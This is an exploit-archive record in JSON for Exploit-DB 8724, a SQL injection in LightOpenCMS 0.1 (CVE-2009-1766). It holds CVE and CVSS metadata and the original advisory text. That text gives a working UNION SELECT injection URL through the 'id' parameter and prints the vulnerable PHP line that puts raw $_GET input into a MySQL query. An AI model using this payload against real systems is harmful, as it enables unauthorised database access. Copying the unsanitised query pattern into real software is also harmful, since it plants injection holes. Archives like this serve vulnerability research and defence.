{"exploit":{"id":"EDB-8724","name":"LightOpenCMS 0.1 - 'id' SQL Injection (SQLi)","description":"LightOpenCMS 0.1 - 'id' SQL Injection (SQLi)","cves":["CVE-2009-1766"],"author":"Mi4night","published":"2009-05-18","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8724","path":"exploits/php/webapps/8724.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8724.txt","vulnerabilities":[{"id":"CVE-2009-1766","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in LightOpenCMS 0.1 allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1766","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1766"},"updatedAt":"2024-08-07T05:27:53.703Z","retrievedAt":"2026-11-26T23:06:58.469Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8724.png?v=2","url":"https://exploitbin.com/exploits/EDB-8724","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8724/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8724/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] LightOpenCMS (id) SQL Injection Vulnerability\n\n[+] Author: Mi4night\n\n[+] Script: http://sourceforge.net/project/downloading.php?group_id=251474&filename=locms-0.1-pa.zip&a=4814604\n\n[+] Injection:\n\nhttp://127.0.0.1/[path]/index.php?id=-1%27%20union%20select%201,2,@@version,4%20%23\n\n[+] Requires: magic_gpc() == OFF\n\n[+] Vulnerable code:\nif (isset($_GET['id'])) {\n            $result = mysql_query(\"SELECT * FROM pages WHERE id='\".$_GET['id'].\"'\");\n\n[+] Patch:\nIts fucking beta.. or alpha or whatever. they'll fix it in the stable version !\n\n\n[+] Shoutz to: Nuc my brotha, str0ke and all the otherz i forgot xD\n\n# milw0rm.com [2009-05-18]","sha256":"a94c04e148ce9e16227de84b4b260b37d591dad64e0ff8f4760ad3b99bfde882","bytes":641,"fetchedAt":"2026-11-26T23:06:58.278Z","encoding":"utf-8 (display only; download retains original bytes)"}